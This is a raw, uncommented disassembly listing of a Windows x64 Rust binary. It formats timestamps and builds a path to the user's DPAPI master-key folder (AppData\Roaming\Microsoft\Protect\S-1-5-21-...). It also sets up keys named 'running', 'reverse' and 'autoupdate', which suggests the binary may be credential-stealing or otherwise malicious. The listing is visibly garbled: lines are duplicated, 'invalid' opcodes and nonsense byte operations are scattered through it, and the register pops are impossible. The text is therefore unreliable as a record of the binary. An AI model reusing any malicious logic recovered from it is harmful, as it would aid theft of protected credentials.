movabs rax, 0x800000020
mov qword [rsp + 0xb8], rax
mov byte [rsp + 0xc0], 3
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0x38]
lea rdx, [0x1400b11a0]
lea r8, [rsp + 0x60]
call fcn.140042240
test al, al
je 0x140026140
jmp case.0x140026946.38
lea eax, [rsi + rsi*4]
lea eax, [rax + rax*4]
add eax, esi
shr eax, 8
lea ecx, [rax + 0x30]
add eax, eax
lea eax, [rax + rax*4]
sub sil, al
or sil, 0x30
movzx edx, cl
mov rcx, rdi
call fcn.1400105e0
movzx esi, sil
mov rcx, rdi
mov edx, esi
call fcn.1400105e0
mov rax, qword [rsp + 0x48]
cmp rax, qword [rsp + 0x40]
jne 0x140028efc
mov rcx, rdi
mov rdx, rax
call fcn.140051430
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xf0]
lea rdx, [rax + 1]
mov r8, qword [rsp + 0x38]
mov byte [r8 + rax], 0x20
mov qword [rsp + 0x48], rdx
cmp ecx, 0x16e7
ja 0x1400297b5
mov rax, qword [rsp + 0x120]
lea r9, [0x1400b1c36]
movzx eax, byte [rax + r9]
lea ecx, [rcx + rax*8]
shr ecx, 9
dec ecx
cmp ecx, 0xb
ja 0x1400297ba
shl rcx, 4
lea rax, str.JanFebMarAprMayJunJulAugSepOctNovDec
mov rsi, qword [rcx + rax]
mov rax, qword [rsp + 0x40]
mov rcx, rax
sub rcx, rdx
cmp rcx, 2
jbe 0x14002936f
movzx ecx, byte [rsi + 2]
mov byte [r8 + rdx + 2], cl
movzx ecx, word [rsi]
mov word [r8 + rdx], cx
add rdx, 3
mov qword [rsp + 0x48], rdx
cmp rdx, rax
jne 0x140028fa0
mov rcx, rdi
mov rdx, rax
call fcn.140051430
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov byte [r8 + rdx], 0x20
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rdi
mov edx, dword [rsp + 0x18c]
call fcn.1400105e0
mov rcx, rdi
mov edx, dword [rsp + 0x188]
call fcn.1400105e0
invalid
dec dword [rax - 0x77]
stc
mov edx, dword [rsp + 0x180]
call fcn.1400105e0
mov rcx, rdi
mov edx, dword [rsp + 0x184]
call fcn.1400105e0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140029002
invalid
mov rcx, rdi
call fcn.140051430
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x20
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rdi
mov edx, dword [rsp + 0x11c]
call fcn.1400105e0
mov rcx, rdi
mov edx, dword [rsp + 0x118]
call fcn.1400105e0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x14002904a
mov rcx, rdi
call fcn.140051430
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rdi
mov edx, dword [rsp + 0x148]
call fcn.1400105e0
mov rcx, rdi
mov edx, dword [rsp + 0x114]
call fcn.1400105e0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x140029092
mov rcx, rdi
call fcn.140051430
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x48], rdx
mov rcx, rdi
mov edx, dword [rsp + 0x110]
call fcn.1400105e0
mov rcx, rdi
mov edx, dword [rsp + 0x10c]
call fcn.1400105e0
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x40]
jne 0x1400290da
mov rcx, rdi
call fcn.140051430
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x38]
mov byte [rax + rdx], 0x20
inc rdx
mov qword [rsp + 0x48], rdx
lea rcx, [0x1400b22f0]
mov rdx, rdi
jmp 0x14002817c
imul rax, rax, 0x431bde83
shr rax, 0x32
jmp 0x14002869b
imul rax, rax, 0x431bde83
shr rax, 0x32
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1aa93
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1aa93
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 3
jmp 0x1400291bc
mov eax, eax
imul rax, rax, 0x10624dd3
shr rax, 0x26
jmp 0x140028716
imul rax, rax, 0x10624dd3
shr rax, 0x26
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xd0], rax
lea rax, [0x140043bc0]
stosb byte [rdi], al
add dword [rax], eax
stosb byte [rdi], al
add dword [rax], eax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 6
mov qword [rsp + 0xb0], 0
movabs rax, 0x800000020
mov qword [rsp + 0xb8], rax
mov byte [rsp + 0xc0], 3
lea rax, [0x1400d9080]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov rcx, rbx
mov rdx, rdi
lea r8, [rsp + 0x60]
call fcn.140042240
test al, al
jne case.0x140026946.38
mov dword [rsp + 0x90], 0x1010100
lea rcx, [rsp + 0x90]
mov rdx, rbx
jmp 0x14002817c
lea rcx, [rsp + 0x38]
mov rdx, r15
mov r8, rsi
call fcn.1400ab0a0
mov r15, qword [rsp + 0x48]
jmp 0x14002858f
mov r8d, 1
lea rsi, [rsp + 0x38]
mov rcx, rsi
call fcn.1400ab0a0
mov rdx, qword [rsp + 0x48]
lea r8, [0x1400b11a0]
lea r8, [0x1400b11a0]
jmp 0x1400283f5
mov r8d, 3
lea rcx, [rsp + 0x38]
call fcn.1400ab0a0
mov rdx, qword [rsp + 0x48]
add byte [rax - 0x75], cl
push rsp
and al, 0x48
jmp case.0x14001bae2.213
mov r8d, 2
lea rcx, [rsp + 0x38]
call fcn.1400ab0a0
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
jmp 0x1400285c6
mov r8d, 1
lea rsi, [rsp + 0x38]
mov rcx, rsi
call fcn.1400ab0a0
mov edi, 0x4800081d
mov edx, dword [rsp + 0x48]
mov edi, 0x4800081d
mov edx, dword [rsp + 0x48]
lea r8, [0x1400b11a0]
jmp 0x140028682
mov r8d, 1
lea rsi, [rsp + 0x38]
mov rcx, rsi
call fcn.1400ab0a0
mov rdx, qword [rsp + 0x48]
lea r8, [0x1400b11a0]
jmp 0x1400286fd
lea rcx, [rsp + 0x38]
and al, 0x38
mov rdx, rsi
mov r8, rdi
call fcn.1400ab0a0
mov rsi, qword [rsp + 0x48]
jmp 0x140028811
mov r8d, 3
lea rdi, [rsp + 0x38]
mov rcx, rdi
stc
stc
call fcn.1400ab0a0
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
jmp 0x14002889b
mov r8d, 2
mov rcx, rdi
mov ecx, edi
call fcn.1400ab0a0
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
jmp 0x1400288c9
invalid
invalid
invalid
mov r8d, 3
mov rcx, rdi
call fcn.1400ab0a0
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x38]
mov r8, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
and al, 0x40
jmp 0x140028f6c
mov r8d, 1
lea rsi, [rsp + 0x38]
je 0x1400293bf
cmp byte [rax - 0x77], cl
int1
je 0x1400293bf
cmp byte [rax - 0x77], cl
int1
call fcn.1400ab0a0
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
lea r8, [0x1400b11a0]
jmp 0x140028617
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
cmp byte [rbx + rcx*4 + 0x44], cl
and al, 0x48
lea rsi, [rsp + 0x198]
mov rcx, rsi
call fcn.140041f10
mov ebx, eax
cmp qword [rsp + 0x40], 0
invalid
invalid
je 0x1400293ed
add byte [rsp + rdx + 0x4c], sil
mov eax, dword [rsp + 0x38]
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
jne 0x140029625
movups xmm0, xmmword [rsp + 0x298]
movaps xmmword [rsp + 0x1f0], xmm0
cwde
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x1f0], eax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x200], rax
cmp qword [rsp + 0x100], 0
je 0x140029442
cmp qword [rsp + 0x160], 0
je 0x140029442
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x100]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x198], rax
lea rax, [0x140015030]
and al, 0xf0
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfffebbd7
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x1a8], rax
lea rax, [0x140051570]
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x2b0]
mov qword [rsp + 0x1b8], rcx
mov qword [rsp + 0x1c0], rax
lea rax, [0x1400bb5a0]
mov qword [rsp + 0x90], rax
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 0
add byte [rax], al
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], 3
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x90]
lea edx, [rsp + 0x90]
lea edx, [rsp + 0x90]
call fcn.140040880
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
lea rcx, [rsp + 0x168]
mov rdx, rdi
call fcn.140008210
test rax, rax
je 0x140029555
mov rsi, rax
test rbx, rbx
test ebx, ebx
test ebx, ebx
je 0x140029523
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1f8], 0
je case.0x14001be02.55
invalid
add byte [rax], al
add byte [rdi + rdx + 0x4c], dh
invalid
mov r8, qword [rsp + 0x1f0]
invalid
mov r8, qword [rsp + 0x1f0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.kernel32.dll_CloseHandle]
or byte [rax], al
jmp 0x14002959e
test rbx, rbx
je 0x14002956c
mov rcx, qword [0x1400f91f8]
xchg edi, eax
cld
or al, 0
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
outsb dx, byte [rsi]
or byte [rax], al
outsb dx, byte [rsi]
or byte [rax], al
cmp qword [rsp + 0x1f8], 0
je 0x14002958e
mov r8, qword [rsp + 0x1f0]
add byte [rax], al
mov rcx, qword [0x1400f91f8]
or eax, 0xcfc72
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.kernel32.dll_CloseHandle]
outsb dx, byte [rsi]
or byte [rax], al
outsb dx, byte [rsi]
or byte [rax], al
xor esi, esi
test byte [rax - 0x77], 0xf0
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x2d0]
add rsp, 0x2e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
lea r8, [0x1400d7898]
mov edx, 0x190
call fcn.1400a9fa0
ud2
add byte [rax], al
call fcn.1400a9fa0
ud2
cmp qword [rsp + 0x40], 0
je 0x140029625
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1400e6808]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1400b1230]
lea r8, [rsp + 0x60]
mov edx, 0x37
call fcn.1400aa430
ud2
lea rcx, [0x1400d7349]
lea r8, [0x1400d7398]
mov edx, 0x1e
call fcn.1400aa0a0
ud2
lea rax, [0x1400d73b0]
mov qword [rsp + 0x20], rax
mov rdx, r14
xor r8d, r8d
mov r9, rsi
call fcn.1400aa670
ud2
mov ecx, 1
mov rdx, rsi
call fcn.1400a9e00
ud2
call fcn.1400402a0
ud2
lea rax, [0x1400d7050]
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r9
mov rdx, r14
mov r9, r14
call fcn.1400aa670
ud2
lea rax, [0x1400d7068]
mov qword [rsp + 0x20], rax
mov rdx, r14
mov r9, r14
call fcn.1400aa670
ud2
lea rax, [0x1400d7080]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa670
ud2
lea rcx, [0x1400d7349]
lea r8, [0x1400d7368]
mov edx, 0x1e
call fcn.1400aa0a0
ud2
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rsAMPMSundayMondayTuesdayWednesdayThursdayFridaySaturday
mov edx, 0xc
call fcn.1400a9fa0
ud2
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rsAMPMSundayMondayTuesdayWednesdayThursdayFridaySaturday
mov edx, 0xc
call fcn.1400a9fa0
ud2
mov ecx, 0xffffffff
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_format_formatting.rsAMPMSundayMondayTuesdayWednesdayThursdayFridaySaturday
mov edx, 0xc
call fcn.1400a9fa0
ud2
lea rax, [0x1400d7300]
jmp 0x1400297ff
lea rax, [0x1400d7318]
jmp 0x1400297ff
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x50]
mov rdx, r15
mov r9, r15
call fcn.1400aa670
ud2
lea rax, [0x1400d7258]
mov qword [rsp + 0x20], rax
mov r8d, 1
jmp 0x140029892
lea rax, [0x1400d72d0]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa670
ud2
lea rax, [0x1400d72b8]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa670
ud2
lea rax, [0x1400d72e8]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa670
ud2
lea rax, [0x1400d7270]
mov qword [rsp + 0x20], rax
mov r8d, 2
jmp 0x140029892
lea rax, [0x1400d7288]
mov qword [rsp + 0x20], rax
mov r8d, 3
mov rcx, rdi
mov rdx, r15
mov r9, r15
call fcn.1400aa670
ud2
lea rdx, str.AppDataRoamingMicrosoftProtectS_3_5_25_0067212291_1140412766_535520311_1000
lea rcx, [rsp + 0x90]
mov r8d, 0x4f
call fcn.14000fa90
mov r14, qword [rsp + 0x90]
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
mov rdx, rdi
mov r8, rbx
mov r9, r14
call fcn.140086540
cmp qword [rsp + 0x98], 0
je 0x14002a2a2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je 0x14002a2b9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
mov qword [rsp + 0x20], 0x42
lea r9, str.23aa4cc77f591dfc237480bbd95f6ba_84bd4d53_ac30_4946_a8d6_0787bbe453runningprocessedreverseautoupdate
lea rcx, [rsp + 0x108]
mov rdx, rdi
call fcn.140086540
mov rbx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x118]
lea rcx, [rsp + 0x90]
mov rdx, rbx
call case.0x1400861b2.392
cmp dword [rsp + 0x90], 2
jne 0x14002aa2a
mov rax, qword [rsp + 0x98]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14002a378
test rcx, rcx
je 0x14002a378
lea r14, [rax - 1]
mov r15, qword [rax - 1]
mov r12, qword [rax + 7]
mov rcx, r15
call qword [r12]
cmp qword [r12 + 8], 0
je 0x14002a366
cmp qword [r12 + 0x10], 0x11
jb 0x14002a354
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x110], 0
je 0x14002a395
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x68], 0
je 0x14002a3af
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x168], 0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14002a3f3
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002bfed
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 7
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14002bfed
mov dword [rax + 3], 0x676e696e
mov dword [rax], 0x6e6e7572
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 7
mov qword [rsp + 0x140], 7
mov word [rsp + 0x90], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x158]
lea r8, [rsp + 0x130]
lea r9, [rsp + 0x90]
call fcn.14000e710
cmp byte [rsp + 0x60], 6
je 0x14002a474
lea rcx, [rsp + 0x60]
call fcn.14000b5f0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14002a4a0
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002c067
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 9
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14002c067
movabs rcx, 0x65737365636f7270
mov qword [rax], rcx
mov byte [rax + 8], 0x64
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 9
mov qword [rsp + 0x140], 9
mov word [rsp + 0x90], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x158]
lea r8, [rsp + 0x130]
lea r9, [rsp + 0x90]
call fcn.14000e710
cmp byte [rsp + 0x60], 6
je 0x14002a525
lea rcx, [rsp + 0x60]
call fcn.14000b5f0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14002a551
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002bfed
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 7
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14002bfed
mov dword [rax + 3], 0x65737265
mov dword [rax], 0x65766572
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 7
mov qword [rsp + 0x140], 7
mov word [rsp + 0x90], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x158]
lea r8, [rsp + 0x130]
lea r9, [rsp + 0x90]
call fcn.14000e710
cmp byte [rsp + 0x60], 6
je 0x14002a5d2
lea rcx, [rsp + 0x60]
call fcn.14000b5f0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14002a5fe
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002c07f
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 4
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14002c07f
mov dword [rax], 0x6f747561
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 4
mov qword [rsp + 0x140], 4
mov word [rsp + 0x90], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x158]
lea r8, [rsp + 0x130]
lea r9, [rsp + 0x90]
call fcn.14000e710
cmp byte [rsp + 0x60], 6
je 0x14002a678
lea rcx, [rsp + 0x60]
call fcn.14000b5f0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14002a6a4
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002c090
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 6
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14002c090
mov word [rax + 4], 0x6574
mov dword [rax], 0x61647075
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 6
mov qword [rsp + 0x140], 6
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14002a713
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002bfed
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 7
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14002bfed
mov dword [rax + 3], 0x796c6874
mov dword [rax], 0x746e6f6d
mov byte [rsp + 0x90], 3
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 7
mov qword [rsp + 0xa8], 7
lea rbx, [rsp + 0x60]
lea rdi, [rsp + 0x158]
lea r8, [rsp + 0x130]
lea r14, [rsp + 0x90]
mov rcx, rbx
mov rdx, rdi
mov r9, r14
call fcn.14000e710
cmp byte [rsp + 0x60], 6
je 0x14002a79b
lea rcx, [rsp + 0x60]
call fcn.14000b5f0
movups xmm0, xmmword [rsp + 0x158]
movups xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x120], rax
mov byte [rsp + 0x108], 5
mov qword [rsp + 0x60], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0xc0], 0x20
mov byte [rsp + 0xc8], 3
mov qword [rsp + 0x90], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xb0], rbx
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
lea rax, [0x1400b11a0]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x158], r14
mov qword [rsp + 0x130], rdi
lea rcx, [rsp + 0x108]
lea rdx, [rsp + 0x130]
call case.0x1400270ad.660
test rax, rax
jne 0x14002c287
mov rdi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
push 0x245c8b48
jo 0x14002a89d
lea edx, [0x1400b2583]
push 0x245c8b48
jo 0x14002a89d
lea edx, [0x1400b2583]
lea rcx, [rsp + 0x90]
mov r8d, 0xb
mov eax, 0xb
mov eax, 0xb
call fcn.140080100
movzx eax, byte [rsp + 0xa8]
cmp al, 2
je 0x14002c2bd
mov r14, qword [rsp + 0x90]
mov r13, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
test al, al
je 0x14002ab07
add byte [rax - 0x73], cl
adc eax, 0x90deb
lea rdx, str.AppDataRoamingMicrosoftProtectS_3_5_25_0067212291_1140412766_535520311_1000
lea rcx, [rsp + 0x90]
mov r8d, 0x4f
call fcn.14000fa90
mov r12, qword [rsp + 0x90]
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
mov rdx, r14
mov r8, r15
mov r9, r12
call fcn.140086540
cmp qword [rsp + 0x98], 0
je 0x14002a8fd
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x14002a914
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
mov qword [rsp + 0x20], 0x42
lea r9, str.23aa4cc77f591dfc237480bbd95f6ba_84bd4d53_ac30_4946_a8d6_0787bbe453runningprocessedreverseautoupdate
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xa0]
mov rcx, r15
mov r8, rdi
mov r9, rbx
call fcn.1400830b0
mov rbx, rax
test rbp, rbp
lea r13, [rsp + 0xa9]
je 0x14002a97e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x98], 0
je 0x14002a99b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x68]
test rbx, rbx
je 0x14002aba7
test rax, rax
je 0x14002a9c0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x108]
call fcn.14000b5f0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14002a9f9
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002bffe
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14002bffe
mov qword [rax], rbx
mov qword [rsi], rax
lea rax, [0x1400b0c00]
mov qword [rsi + 8], rax
mov byte [rsi + 0x1b], 2
jmp 0x14002b0e7
cmp qword [rsp + 0x110], 0
je 0x14002aa47
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x68], 0
je 0x14002abcb
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rcx - 0x77], cl
clc
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002abcb
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002a243
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
invalid
jns 0x14002aa90
sar byte [rcx - 0x19], 0x41
cmp al, 0xe0
cmp r8b, 0xe0
jb 0x14002aa7c
cmp r8b, 0xed
clc
in eax, dx
jne 0x14002aade
cmp rcx, rax
je 0x14002a243
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002a243
cmp byte [rdx + 1], 0x9f
ja 0x14002c19a
add rdx, 3
mov rcx, rdx
jmp 0x14002aa90
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x14002aa90
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14002aa90
test r15, r15
je 0x14002a89e
lea rax, [r14 + r15]
mov rdx, r14
jmp 0x14002ab3c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002a89e
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x14002ab30
cmp r8b, 0xe0
jb 0x14002ab19
cmp r8b, 0xed
jne 0x14002ab7e
cmp rcx, rax
je 0x14002a89e
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002a89e
cmp byte [rdx + 1], 0x9f
ja 0x14002c336
add rdx, 3
mov rcx, rdx
jmp 0x14002ab30
add rdx, 2
cmp rcx, rax
ror dword [rax + 0xf], 0x44
sal dword [rcx], 1
leave
ror dword [rax + 0xf], 0x44
sal dword [rcx], 1
leave
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x14002ab30
xor edx, edx
cmp rcx, rax
setne dl
xchg ebp, eax
ret 0x148
shr ebx, 1
invalid
xchg ebp, eax
ret 0x148
test rax, rax
je 0x14002abbe
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
or byte [rax], al
lea rcx, [rsp + 0x108]
add byte [rax], al
call fcn.14000b5f0
lea rdx, [0x1400b2583]
mov cl, 0x79
or byte [rax], al
lea rcx, [rsp + 0x90]
mov r8d, 0xb
